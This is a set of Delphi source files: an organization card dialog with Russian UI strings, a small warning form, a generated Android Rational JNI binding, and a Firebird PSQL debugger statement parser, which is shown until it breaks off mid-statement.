TdlgOrganizationCard.lcShowArchivePropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var st: string; fname: string; begin inherited; if AButtonIndex=1 then begin if VarIsNullMy(qryArchive['Путь']) or (lcShowArchive.Text='') then raise Exception.Create('Корневой путь не задан или не выбран год'); if VarIsNullMy(Query['Субъекты учета.Импорт.Номер папки']) then raise Exception.Create('Не задано поле "Номер папки"'); fname:=IncludeTrailingPathDelimiter(qryArchive['Путь'])+Query['Субъекты учета.Импорт.Номер папки']+'.xls'; if not FileExists(fname) then raise Exception.Create('Файл '+fname+' не существует'); st:='Открыть файл '+fname+ '?'; if MessageBox(Handle, pchar(st), 'Открытие файла', MB_YESNO or MB_ICONQUESTION or MB_APPLMODAL)=IDYES then ShellExecute(Handle, 'open', pchar(fname), nil, nil, SW_SHOW); end; end; procedure TdlgOrganizationCard.beStreet3PropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var a: TAccessSelectorForm; p: TParamCollection; begin inherited; if AButtonIndex=0 then begin teSettlement3.DataBinding.StoredValue:=null; teSettlement3.DataBinding.DisplayValue:=null; teStreetType3.DataBinding.StoredValue:=null; teStreetType3.DataBinding.DisplayValue:=null; beStreet3.DataBinding.StoredValue:=null; beStreet3.DataBinding.DisplayValue:=null; beStreet3_tmp.DataBinding.StoredValue:=null; beStreet3_tmp.DataBinding.DisplayValue:=null; end; if AButtonIndex=1 then begin a:=TAccessSelectorForm.Create; a.ObjectID:=52; a.FormClass:=TfrmStreet; p:=TParamCollection.Create(TParamItem); try p.Add('код_Улица'); p.Add('Нас. пункт'); p.Add('Тип улицы'); p.Add('Улица'); p['код_Улица'].Value:=beStreet2_tmp.DataBinding.StoredValue; if a.ShowModal(p, null)<>mrOK then exit; teSettlement3.DataBinding.DisplayValue:=p['Нас. пункт'].Value; teSettlement3.DataBinding.StoredValue:=p['Нас. пункт'].Value; teStreetType3.DataBinding.DisplayValue:=p['Тип улицы'].Value; teStreetType3.DataBinding.StoredValue:=p['Тип улицы'].Value; beStreet3.DataBinding.DisplayValue:=p['Улица'].Value; beStreet3.DataBinding.StoredValue:=p['Улица'].Value; beStreet3_tmp.DataBinding.DisplayValue:=p['код_Улица'].Value; beStreet3_tmp.DataBinding.StoredValue:=p['код_Улица'].Value; finally p.Free; end; end; end; procedure TdlgOrganizationCard.tsCodesShow(Sender: TObject); begin inherited; gbPersonDoc.Visible:=Query['Субъекты учета.Тип']=1; end; end.
unit fWarning; (*##*) (******************************************************************* * * * F W A R N I N G * * warning form of CVRT2WBMP, part of CVRT2WBMP * * * * Copyright (c) 2001 Andrei Ivanov. All rights reserved. * * * * Conditional defines: * * * * Last Revision: Jun 07 2001 * * Last fix : * * Lines : * * History : * * Printed : --- * * * ********************************************************************) (*##*) interface uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls, Buttons, ExtCtrls; type TFormWarning = class(TForm) BRegister: TButton; BCancel: TButton; MemoMessage: TMemo; private { Private declarations } public { Public declarations } end; var FormWarning: TFormWarning; implementation {$R *.DFM} end.
// // Generated by JavaToPas v1.5 20150830 - 103110 //////////////////////////////////////////////////////////////////////////////// unit android.util.Rational; interface uses AndroidAPI.JNIBridge, Androidapi.JNI.JavaTypes; type JRational = interface; JRationalClass = interface(JObjectClass) ['{24B4BC2E-9350-4AA0-9442-AA87A2DF8C3D}'] function _GetNEGATIVE_INFINITY : JRational; cdecl; // A: $19 function _GetNaN : JRational; cdecl; // A: $19 function _GetPOSITIVE_INFINITY : JRational; cdecl; // A: $19 function _GetZERO : JRational; cdecl; // A: $19 function compareTo(another : JRational) : Integer; cdecl; // (Landroid/util/Rational;)I A: $1 function doubleValue : Double; cdecl; // ()D A: $1 function equals(obj : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1 function floatValue : Single; cdecl; // ()F A: $1 function getDenominator : Integer; cdecl; // ()I A: $1 function getNumerator : Integer; cdecl; // ()I A: $1 function hashCode : Integer; cdecl; // ()I A: $1 function init(numerator : Integer; denominator : Integer) : JRational; cdecl;// (II)V A: $1 function intValue : Integer; cdecl; // ()I A: $1 function isFinite : boolean; cdecl; // ()Z A: $1 function isInfinite : boolean; cdecl; // ()Z A: $1 function isNaN : boolean; cdecl; // ()Z A: $1 function isZero : boolean; cdecl; // ()Z A: $1 function longValue : Int64; cdecl; // ()J A: $1 function parseRational(&string : JString) : JRational; cdecl; // (Ljava/lang/String;)Landroid/util/Rational; A: $9 function shortValue : SmallInt; cdecl; // ()S A: $1 function toString : JString; cdecl; // ()Ljava/lang/String; A: $1 property NEGATIVE_INFINITY : JRational read _GetNEGATIVE_INFINITY; // Landroid/util/Rational; A: $19 property NaN : JRational read _GetNaN; // Landroid/util/Rational; A: $19 property POSITIVE_INFINITY : JRational read _GetPOSITIVE_INFINITY; // Landroid/util/Rational; A: $19 property ZERO : JRational read _GetZERO; // Landroid/util/Rational; A: $19 end; [JavaSignature('android/util/Rational')] JRational = interface(JObject) ['{2C0BBEE3-C921-497B-9B06-982809070D29}'] function compareTo(another : JRational) : Integer; cdecl; // (Landroid/util/Rational;)I A: $1 function doubleValue : Double; cdecl; // ()D A: $1 function equals(obj : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1 function floatValue : Single; cdecl; // ()F A: $1 function getDenominator : Integer; cdecl; // ()I A: $1 function getNumerator : Integer; cdecl; // ()I A: $1 function hashCode : Integer; cdecl; // ()I A: $1 function intValue : Integer; cdecl; // ()I A: $1 function isFinite : boolean; cdecl; // ()Z A: $1 function isInfinite : boolean; cdecl; // ()Z A: $1 function isNaN : boolean; cdecl; // ()Z A: $1 function isZero : boolean; cdecl; // ()Z A: $1 function longValue : Int64; cdecl; // ()J A: $1 function shortValue : SmallInt; cdecl; // ()S A: $1 function toString : JString; cdecl; // ()Ljava/lang/String; A: $1 end; TJRational = class(TJavaGenericImport<JRationalClass, JRational>) end; implementation end.
unit ibSHPSQLDebuggerStatement; interface uses Classes, Variants, Contnrs, Types, SysUtils, pSHSqlTxtRtns, ibSHDriverIntf, ibSHDebuggerIntf, ibSHPSQLDebuggerTokenScaner; type TibSHPSQLDebuggerStatement = class(TComponent, IibSHDebugStatement) private FDebuggerItem: IibSHPSQLDebuggerItem; FGroupStatementType: TibSHDebugGroupStatementType; FOperatorType: TibSHDebugOperatorType; FParentStatement: IibSHDebugStatement; FPriorStatement: IibSHDebugStatement; FNextStatement: IibSHDebugStatement; FErrorHandlerStatement: IibSHDebugStatement; FChildStatements: TComponentList; FBeginOfStatement: TPoint; FEndOfStatement: TPoint; FDataSetComponent: TComponent; FProcessor: IibSHPSQLProcessor; FVariableNames: TStrings; FCursorName: string; FOperatorText: string; FVariableName: string; FIsDynamicStatement:boolean; FibErrorCode:TibErrorCode; function GetErrorHandlerStmt: IibSHDebugStatement; procedure SetErrorHandlerStmt(Value: IibSHDebugStatement); function GetLastErrorCode:TibErrorCode; procedure SetLastErrorCode(Value:TibErrorCode); // FEndStatement:IibSHDebugStatement; function GetTokenScaner: TibSHPSQLDebuggerTokenScaner; procedure SetVariableName(const Value: string); function GetIsDynamicStatement: boolean; protected { IibSHDebugStatement } function GetGroupStatementType: TibSHDebugGroupStatementType; procedure SetGroupStatementType(Value: TibSHDebugGroupStatementType);{?} function GetOperatorType: TibSHDebugOperatorType; procedure SetOperatorType(Value: TibSHDebugOperatorType);{?} function GetParentStatement: IibSHDebugStatement; procedure SetParentStatement(Value: IibSHDebugStatement); function GetPriorStatement: IibSHDebugStatement; procedure SetPriorStatement(Value: IibSHDebugStatement); function GetNextStatement: IibSHDebugStatement; procedure SetNextStatement(Value: IibSHDebugStatement); function GetChildStatements(Index: Integer): IibSHDebugStatement; function GetChildStatementsCount: Integer; function GetBeginOfStatement: TPoint; procedure SetBeginOfStatement(Value: TPoint); function GetEndOfStatement: TPoint; procedure SetEndOfStatement(Value: TPoint); function GetDataSet: IibSHDRVDataset; function GetProcessor: IibSHPSQLProcessor; procedure SetProcessor(Value: IibSHPSQLProcessor); function GetVariableNames: TStrings; function GetVariableName: string; function GetOperatorText: string; function GetUsesCursor: Boolean; function GetCursorName: string; function AddChildStatement(Value: TComponent): Integer; function RemoveChildStatement(Value: TComponent): Integer; function CanExecute(Value: Variant): Boolean; procedure Execute(Values: array of Variant; out Results: array of Variant); function Parse: Boolean; { End of IibSHDebugStatement } procedure ParsingError(AExpected, AFound: string); procedure StatementError(AMessage: string); function CopyToken(ABegin, AEnd: TPoint): string; // Посмотреть procedure ParseChild; procedure ParseNext; procedure ParseConditionTo(AIdentifier: string; BracketsAlways: Boolean = True); procedure ParseForSelect; function FormatDB_KEY(ASQLText: string): string; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure Notification(AComponent: TComponent; Operation: TOperation); override; property GroupStatementType: TibSHDebugGroupStatementType read GetGroupStatementType write SetGroupStatementType; property OperatorType: TibSHDebugOperatorType read GetOperatorType write SetOperatorType; property ParentStatement: IibSHDebugStatement read GetParentStatement; property NextStatement: IibSHDebugStatement read GetNextStatement write SetNextStatement; property ChildStatements[Index: Integer]: IibSHDebugStatement read GetChildStatements; property ChildStatementsCount: Integer read GetChildStatementsCount; property BeginOfStatement: TPoint read GetBeginOfStatement write SetBeginOfStatement; property EndOfStatement: TPoint read GetEndOfStatement write SetEndOfStatement; property DataSet: IibSHDRVDataset read GetDataSet; property Processor: IibSHPSQLProcessor read GetProcessor write SetProcessor; property VariableNames: TStrings read GetVariableNames; property OperatorText: string read GetOperatorText; property VariableName: string read GetVariableName write SetVariableName; property TokenScaner: TibSHPSQLDebuggerTokenScaner read GetTokenScaner; property DebuggerItem: IibSHPSQLDebuggerItem read FDebuggerItem; property IsDynamicStatement:boolean read GetIsDynamicStatement; end; var FEndStatement:IibSHDebugStatement=nil; implementation { TibSHPSQLDebuggerStatement } constructor TibSHPSQLDebuggerStatement.Create(AOwner: TComponent); begin inherited Create(AOwner); FChildStatements := TComponentList.Create(False); FGroupStatementType := dgstEmpty; FOperatorType := dotEmpty; FDataSetComponent := nil; FProcessor := nil; FVariableNames := TStringList.Create; FCursorName := EmptyStr; FVariableName := EmptyStr; FOperatorText := EmptyStr; Supports(AOwner, IibSHPSQLDebuggerItem, FDebuggerItem); end; destructor TibSHPSQLDebuggerStatement.Destroy; begin if Assigned(FDataSetComponent) then FreeAndNil(FDataSetComponent); FProcessor := nil; FVariableNames.Free; FDebuggerItem := nil; FChildStatements.Free; inherited; end; procedure TibSHPSQLDebuggerStatement.Notification(AComponent: TComponent; Operation: TOperation); begin if (Operation = opRemove) then begin if Assigned(FNextStatement) then if AComponent.IsImplementorOf(FNextStatement) then FNextStatement := nil; if Assigned(FParentStatement) then if AComponent.IsImplementorOf(FParentStatement) then FParentStatement := nil; if Assigned(FErrorHandlerStatement) then if AComponent.IsImplementorOf(FErrorHandlerStatement) then FErrorHandlerStatement := nil; end; inherited Notification(AComponent, Operation); end; function TibSHPSQLDebuggerStatement.GetTokenScaner: TibSHPSQLDebuggerTokenScaner; begin Result := TibSHPSQLDebuggerTokenScaner(DebuggerItem.TokenScaner); end; procedure TibSHPSQLDebuggerStatement.SetVariableName(const Value: string); var vTokenScaner: TibSHPSQLDebuggerTokenScaner; vVariable: string; begin if FVariableName <> Value then begin vTokenScaner := TibSHPSQLDebuggerTokenScaner.Create(nil); try FVariableName := Value; FVariableNames.Clear; if Length(FVariableName) > 0 then begin vTokenScaner.DDLText.Text := FVariableName; while vTokenScaner.Next and (Length(vTokenScaner.Token) > 0) do begin vVariable := vTokenScaner.Token; if (Length(vVariable) = 1) and (vVariable[1] in [',', '(', ')']) then Continue; if vVariable = ';' then Break; if vVariable[1]=':' then Delete(vVariable, 1, 1); vVariable := Trim(vVariable); if Length(vVariable) > 0 then FVariableNames.Add(vVariable); end; end; finally vTokenScaner.Free; end; end; end; function TibSHPSQLDebuggerStatement.GetGroupStatementType: TibSHDebugGroupStatementType; begin Result := FGroupStatementType; end; procedure TibSHPSQLDebuggerStatement.SetGroupStatementType( Value: TibSHDebugGroupStatementType); begin if FGroupStatementType <> Value then begin if (FGroupStatementType in [dgstForSelectCycle, dgstWhileCycle]) and Assigned(FDataSetComponent) then FreeAndNil(FDataSetComponent); FGroupStatementType := Value; if (FGroupStatementType in [dgstForSelectCycle, dgstWhileCycle]) and Assigned(Processor) then FDataSetComponent := Processor.CreateDataSet; end; end; function TibSHPSQLDebuggerStatement.GetOperatorType: TibSHDebugOperatorType; begin Result := FOperatorType; end; procedure TibSHPSQLDebuggerStatement.SetOperatorType( Value: TibSHDebugOperatorType); begin FOperatorType := Value; end; function TibSHPSQLDebuggerStatement.GetParentStatement: IibSHDebugStatement; begin Result := FParentStatement; end; procedure TibSHPSQLDebuggerStatement.SetParentStatement( Value: IibSHDebugStatement); begin if Assigned(FParentStatement) then ReferenceInterface(FParentStatement, opRemove); FParentStatement := Value; if Assigned(FParentStatement) then ReferenceInterface(FParentStatement, opInsert); end; function TibSHPSQLDebuggerStatement.GetPriorStatement: IibSHDebugStatement; begin Result := FPriorStatement; end; procedure TibSHPSQLDebuggerStatement.SetPriorStatement( Value: IibSHDebugStatement); begin if Assigned(FPriorStatement) then ReferenceInterface(FPriorStatement, opRemove); FPriorStatement := Value; if Assigned(FPriorStatement) then ReferenceInterface(FPriorStatement, opInsert); end; function TibSHPSQLDebuggerStatement.GetNextStatement: IibSHDebugStatement; begin Result := FNextStatement; end; procedure TibSHPSQLDebuggerStatement.SetNextStatement( Value: IibSHDebugStatement); begin FNextStatement := Value; end; function TibSHPSQLDebuggerStatement.GetChildStatements( Index: Integer): IibSHDebugStatement; begin Assert((Index > -1) and (Index < FChildStatements.Count), 'TibSHPSQLDebuggerStatement.GetChildStatements - Index out of bounds'); if (Index > -1) and (Index < FChildStatements.Count) then Supports(FChildStatements[Index], IibSHDebugStatement, Result); end; function TibSHPSQLDebuggerStatement.GetChildStatementsCount: Integer; begin Result := FChildStatements.Count; end; function TibSHPSQLDebuggerStatement.GetBeginOfStatement: TPoint; begin Result := FBeginOfStatement; end; procedure TibSHPSQLDebuggerStatement.SetBeginOfStatement(Value: TPoint); begin FBeginOfStatement := Value; end; function TibSHPSQLDebuggerStatement.GetEndOfStatement: TPoint; begin Result := FEndOfStatement; end; procedure TibSHPSQLDebuggerStatement.SetEndOfStatement(Value: TPoint); begin FEndOfStatement := Value; end; function TibSHPSQLDebuggerStatement.GetDataSet: IibSHDRVDataset; begin Supports(FDataSetComponent, IibSHDRVDataset, Result); end; function TibSHPSQLDebuggerStatement.GetProcessor: IibSHPSQLProcessor; begin Result := FProcessor; end; procedure TibSHPSQLDebuggerStatement.SetProcessor( Value: IibSHPSQLProcessor); begin FProcessor := Value; end; function TibSHPSQLDebuggerStatement.GetVariableNames: TStrings; begin Result := FVariableNames; end; function TibSHPSQLDebuggerStatement.GetVariableName: string; begin Result := FVariableName; end; function TibSHPSQLDebuggerStatement.GetOperatorText: string; begin Result := FOperatorText; end; function TibSHPSQLDebuggerStatement.GetUsesCursor: Boolean; begin Result := Length(FCursorName) > 0; end; function TibSHPSQLDebuggerStatement.GetCursorName: string; begin Result := FCursorName; end; function TibSHPSQLDebuggerStatement.AddChildStatement( Value: TComponent): Integer; begin Result := FChildStatements.Add(Value); end; function TibSHPSQLDebuggerStatement.RemoveChildStatement( Value: TComponent): Integer; begin Result := FChildStatements.Remove(Value); end; function TibSHPSQLDebuggerStatement.CanExecute(Value: Variant): Boolean; begin Result := False; end; procedure TibSHPSQLDebuggerStatement.Execute(Values: array of Variant; out Results: array of Variant); begin end; function TibSHPSQLDebuggerStatement.Parse: Boolean; var vTempPosition: TPoint; procedure SetOpenCloseFetchCursor; begin FGroupStatementType := dgstEmpty; FBeginOfStatement := TokenScaner.TokenBegin; TokenScaner.Next; case TokenScaner.TokenType of ttIdentifier: FCursorName:=TokenScaner.Token; else ParsingError('Cursor identifier ', TokenScaner.Token); end; TokenScaner.Next; if OperatorType<>dotFetchCursor then begin if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); end else begin if TokenScaner.Token <> 'INTO' then ParsingError('INTO', TokenScaner.Token); vTempPosition := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y) ; while TokenScaner.Next do case TokenScaner.TokenType of ttSymbol: if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X - 1; VariableName := CopyToken(vTempPosition, FEndOfStatement); Break end; end; end; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; end; procedure SetException; begin FGroupStatementType := dgstEmpty; OperatorType := dotException; FBeginOfStatement := TokenScaner.TokenBegin; TokenScaner.Next; case TokenScaner.TokenType of ttIdentifier: FOperatorText:=TokenScaner.Token; end; if TokenScaner.Token<>';' then begin TokenScaner.Next; if TokenScaner.Token<>';' then begin VariableName := CopyToken(TokenScaner.TokenBegin, TokenScaner.TokenEnd); TokenScaner.Next; end; end; if TokenScaner.Token<>';' then ParsingError(';',TokenScaner.Token); ParseNext; end; procedure SetSimpleStatement(const ReturningExistKey,KeyReturning:string); var ReturningExist:boolean; begin FGroupStatementType := dgstEmpty; ReturningExist:=False; FBeginOfStatement := TokenScaner.TokenBegin; while TokenScaner.Next do case TokenScaner.TokenType of ttSymbol: if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; // FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); if Length(FOperatorText) = 0 then begin FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); end else begin VariableName := CopyToken(vTempPosition, FEndOfStatement); end; FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; ttIdentifier: if TokenScaner.UpperToken = ReturningExistKey then ReturningExist:=True else if ReturningExist and (TokenScaner.UpperToken = KeyReturning) then begin FOperatorText := CopyToken(FBeginOfStatement, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); vTempPosition := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y) ; end; end; if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); ParseNext; Result := True; end; function AdjustFuncParam(const Func:string):string; var i,j,L:integer; NeedVar:boolean; begin L:=Length(Func); SetLength(Result,L); NeedVar:=False; J:=1; for i:=1 to Length(Func) do begin case Func[i] of '(',',': NeedVar:=True; else if NeedVar then if not (Func[i] in ['+','-']) then begin if not (Func[i] in ['0'..'1','.',':','''']) then begin if J>L then SetLength(Result,J); Result[J]:=':'; Inc(J) end; NeedVar:=False end end; if J>L then SetLength(Result,J); Result[J]:=Func[i]; Inc(J); end; end; procedure SetFunction; begin FGroupStatementType := dgstEmpty; FBeginOfStatement := vTempPosition; while TokenScaner.Next do case TokenScaner.TokenType of ttSymbol: if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; Dec(FEndOfStatement.X); FOperatorText :='SELECT '+ AdjustFuncParam(CopyToken(vTempPosition, FEndOfStatement))+ 'FROM RDB$DATABASE' ; Inc(FEndOfStatement.X,2); FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; end; if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); ParseNext; Result := True; end; procedure SetCursorStatement(const KeyReturning:string); type TCursorStatementClauses = (ccStatement, ccWhere, ccReturning); //DELETE or Update only var vPosition: TCursorStatementClauses; vEnd: TPoint; // vCursorReplacement: string; vReturningExist:boolean; begin FGroupStatementType := dgstEmpty; FBeginOfStatement := TokenScaner.TokenBegin; vPosition := ccStatement; vReturningExist:=False; while TokenScaner.Next do case TokenScaner.TokenType of ttSymbol: if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; if Length(FOperatorText) = 0 then begin FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); end else begin VariableName := CopyToken(vTempPosition, FEndOfStatement); end; FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; ttIdentifier: case vPosition of ccStatement: begin if TokenScaner.UpperToken = 'WHERE' then begin vPosition := ccWhere; vEnd := TokenScaner.TokenEnd; end else if TokenScaner.UpperToken = 'RETURNING' then vReturningExist:=True else if vReturningExist and (TokenScaner.UpperToken = KeyReturning) then begin FOperatorText := CopyToken(FBeginOfStatement, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); vTempPosition := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y) ; end end; ccWhere: begin if TokenScaner.UpperToken = 'CURRENT' then begin if TokenScaner.Next and (TokenScaner.UpperToken = 'OF') and TokenScaner.Next then begin // FCursorName := TokenScaner.Token; vEnd:=TokenScaner.TokenEnd; FOperatorText := CopyToken(FBeginOfStatement, vEnd); if TokenScaner.Next and (TokenScaner.Token = ';') then FEndOfStatement := Point(TokenScaner.TokenEnd.X + 1, TokenScaner.TokenEnd.Y); { vCursorReplacement := FormatDB_KEY(Copy(FOperatorText, 1, Length(FOperatorText) - 5)); FOperatorText := Format('%s %s = :%s', [FOperatorText, vCursorReplacement, FCursorName]); if TokenScaner.Next and (TokenScaner.Token = ';') then FEndOfStatement := Point(TokenScaner.TokenEnd.X + 1, TokenScaner.TokenEnd.Y);} Break; end else StatementError('Unexpected end of command.'); end else vPosition := ccReturning; end; ccReturning: begin if TokenScaner.UpperToken = KeyReturning then begin FOperatorText := CopyToken(FBeginOfStatement, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); vTempPosition := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y) ; end end; end; end; if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); ParseNext; Result := True; end; procedure SetReturningStatement(const AKeyWord: string;aBegin:PPoint=nil ); begin FGroupStatementType := dgstEmpty; if aBegin=nil then FBeginOfStatement := TokenScaner.TokenBegin else FBeginOfStatement := aBegin^; while TokenScaner.Next do case TokenScaner.TokenType of ttIdentifier: if TokenScaner.UpperToken = AKeyWord then begin FOperatorText := CopyToken(FBeginOfStatement, Point(TokenScaner.TokenBegin.X-1, TokenScaner.TokenBegin.Y)); vTempPosition := Point(TokenScaner.TokenEnd.X+1, TokenScaner.TokenEnd.Y) ; end; ttSymbol: if TokenScaner.Token = ';' then begin FEndOfStatement := TokenScaner.TokenEnd; if Length(FOperatorText) = 0 then begin FOperatorText := CopyToken(FBeginOfStatement, FEndOfStatement); end else begin VariableName := CopyToken(vTempPosition, FEndOfStatement); end; FEndOfStatement.X := FEndOfStatement.X + 1; Break; end; end; if TokenScaner.Token <> ';' then ParsingError(';', TokenScaner.Token); ParseNext; Result := True; end; var vCurToken:string; vSuccess :boolean; vBeginStatement:TPoint; begin Result := False; if TokenScaner.Next then begin while TokenScaner.TokenType <> ttIdentifier do if not TokenScaner.Next then Exit; //Групповые операторы // vCurToken:=UpperCase(TokenScaner.Token); vCurToken:=TokenScaner.UpperToken; vSuccess :=False; if Length(vCurToken)>0 then case vCurToken[1] of 'B':if vCurToken='BEGIN' then begin GroupStatementType := dgstSimple; if OperatorType<>dotFirstBegin then OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; if Self.GetParentStatement=nil then DebuggerItem.StatementFound(Self); // Первый begin ParseChild; TokenScaner.Next; if (TokenScaner.UpperToken <> 'END') then ParsingError('END', TokenScaner.Token); FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; vSuccess :=True; end else if vCurToken = 'BREAK' then begin GroupStatementType := dgstEmpty; OperatorType := dotLeave; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; vSuccess :=True; end; 'C': if vCurToken='CLOSE' then begin GroupStatementType := dgstEmpty; OperatorType := dotCloseCursor; SetOpenCloseFetchCursor; vSuccess :=True; Result := True; end; 'D': if vCurToken= 'DELETE' then begin GroupStatementType := dgstEmpty; OperatorType := dotDelete; SetCursorStatement('INTO'); vSuccess :=True; end; 'E':if vCurToken='END' then begin FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; // if (ParentStatement=nil) or (ParentStatement.ParentStatement=nil) if (ParentStatement=nil) or (ParentStatement.OperatorType=dotFirstBegin) then // Последний end begin // ParentStatement.AddChildStatement(Self); FEndStatement:=Self; Result:=True; OperatorType := dotLastEnd; end; TokenScaner.MoveBack; vSuccess :=True; end else if vCurToken='EXIT' then begin GroupStatementType := dgstEmpty; OperatorType := dotExit; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; vSuccess :=True; end else if vCurToken= 'EXECUTE' then begin FBeginOfStatement := TokenScaner.TokenBegin; GroupStatementType := dgstEmpty; vBeginStatement:=TokenScaner.TokenBegin; TokenScaner.Next; if (TokenScaner.UpperToken = 'PROCEDURE') then begin OperatorType := dotExecuteProcedure; SetReturningStatement('RETURNING_VALUES',@vBeginStatement); end else if (TokenScaner.UpperToken = 'STATEMENT') then begin OperatorType := dotExecuteStatement; TokenScaner.Next; SetReturningStatement('INTO'); end else ParsingError('STATEMENT', TokenScaner.Token); FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; vSuccess :=True; Result:=True; end else if vCurToken= 'EXCEPTION' then begin SetException; vSuccess :=True; Result:=True; end; 'F':if vCurToken='FOR' then begin GroupStatementType := dgstForSelectCycle; OperatorType := dotSelect; FBeginOfStatement := TokenScaner.TokenBegin; ParseForSelect; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; vSuccess :=True; end else if vCurToken='FETCH' then begin GroupStatementType := dgstEmpty; OperatorType := dotFetchCursor; SetOpenCloseFetchCursor; vSuccess :=True; Result := True; end; 'I':if vCurToken='IF' then begin GroupStatementType := dgstCondition; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('THEN'); // FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseChild; //THEN if TokenScaner.Next then begin if (TokenScaner.UpperToken = 'ELSE') then ParseChild //ELSE else TokenScaner.MoveBack; end; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; vSuccess :=True; end else if vCurToken='INSERT' then begin GroupStatementType := dgstEmpty; OperatorType := dotInsert; SetSimpleStatement('RETURNING','INTO'); vSuccess :=True; Result := True; end; 'L':if vCurToken = 'LEAVE' then begin GroupStatementType := dgstEmpty; OperatorType := dotLeave; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; vSuccess :=True; end; 'M':if vCurToken = 'MERGE' then begin GroupStatementType := dgstEmpty; OperatorType := dotUpdate; SetCursorStatement(''); vSuccess :=True; Result := True; end; 'W':if vCurToken='WHILE' then begin GroupStatementType := dgstWhileCycle; OperatorType := dotEmpty; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('DO'); ParseChild; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; vSuccess :=True; end else if vCurToken = 'WHEN' then begin GroupStatementType := dgstErrorHandler; // OperatorType := dotEmpty; OperatorType := dotErrorHandler; FBeginOfStatement := TokenScaner.TokenBegin; ParseConditionTo('DO', False); if Assigned(FParentStatement) and not Assigned(FParentStatement.ErrorHandlerStmt) then FParentStatement.ErrorHandlerStmt:=Self; ParseChild; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; ParseNext; Result := True; vSuccess :=True; end else if vCurToken = 'WITH' then begin GroupStatementType := dgstEmpty; OperatorType := dotSelect; SetReturningStatement('INTO'); vSuccess :=True; end; 'S': if vCurToken = 'SUSPEND' then begin GroupStatementType := dgstEmpty; OperatorType := dotSuspend; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; FEndOfStatement.X := FEndOfStatement.X + 1; TokenScaner.Next; ParseNext; Result := True; vSuccess :=True; end else if vCurToken = 'SELECT' then begin GroupStatementType := dgstEmpty; OperatorType := dotSelect; SetReturningStatement('INTO'); vSuccess :=True; Result:=True; end; 'U': if vCurToken = 'UPDATE' then begin GroupStatementType := dgstEmpty; OperatorType := dotUpdate; SetCursorStatement('INTO'); vSuccess :=True; Result:=True end; 'O': if vCurToken = 'OPEN' then begin GroupStatementType := dgstEmpty; OperatorType := dotOpenCursor; SetOpenCloseFetchCursor; vSuccess :=True; Result:=True end; 'P': if vCurToken = 'POST_EVENT' then begin GroupStatementType := dgstEmpty; OperatorType := dotEmpty; vSuccess :=True; Result:=True; FBeginOfStatement := TokenScaner.TokenBegin; FEndOfStatement := TokenScaner.TokenEnd; TokenScaner.Next; ParseNext end; end; //end case if not vSuccess then begin GroupStatementType := dgstEmpty; OperatorType := dotExpression; FVariableName := TokenScaner.Token; vTempPosition:=TokenScaner.TokenBegin; TokenScaner.Next; if TokenScaner.Token = '=' then SetSimpleStatement('','') else if TokenScaner.Token = '.' then begin TokenScaner.Next; FVariableName := '.' + TokenScaner.Token; TokenScaner.Next; if TokenScaner.Token = '=' then SetSimpleStatement('','') else begin FVariableName := EmptyStr; raise Exception.Create('Parsing Error! Unknown statement: ' + FVariableName + ' ' + TokenScaner.Token); end end else if TokenScaner.Token = '(' then begin OperatorType := 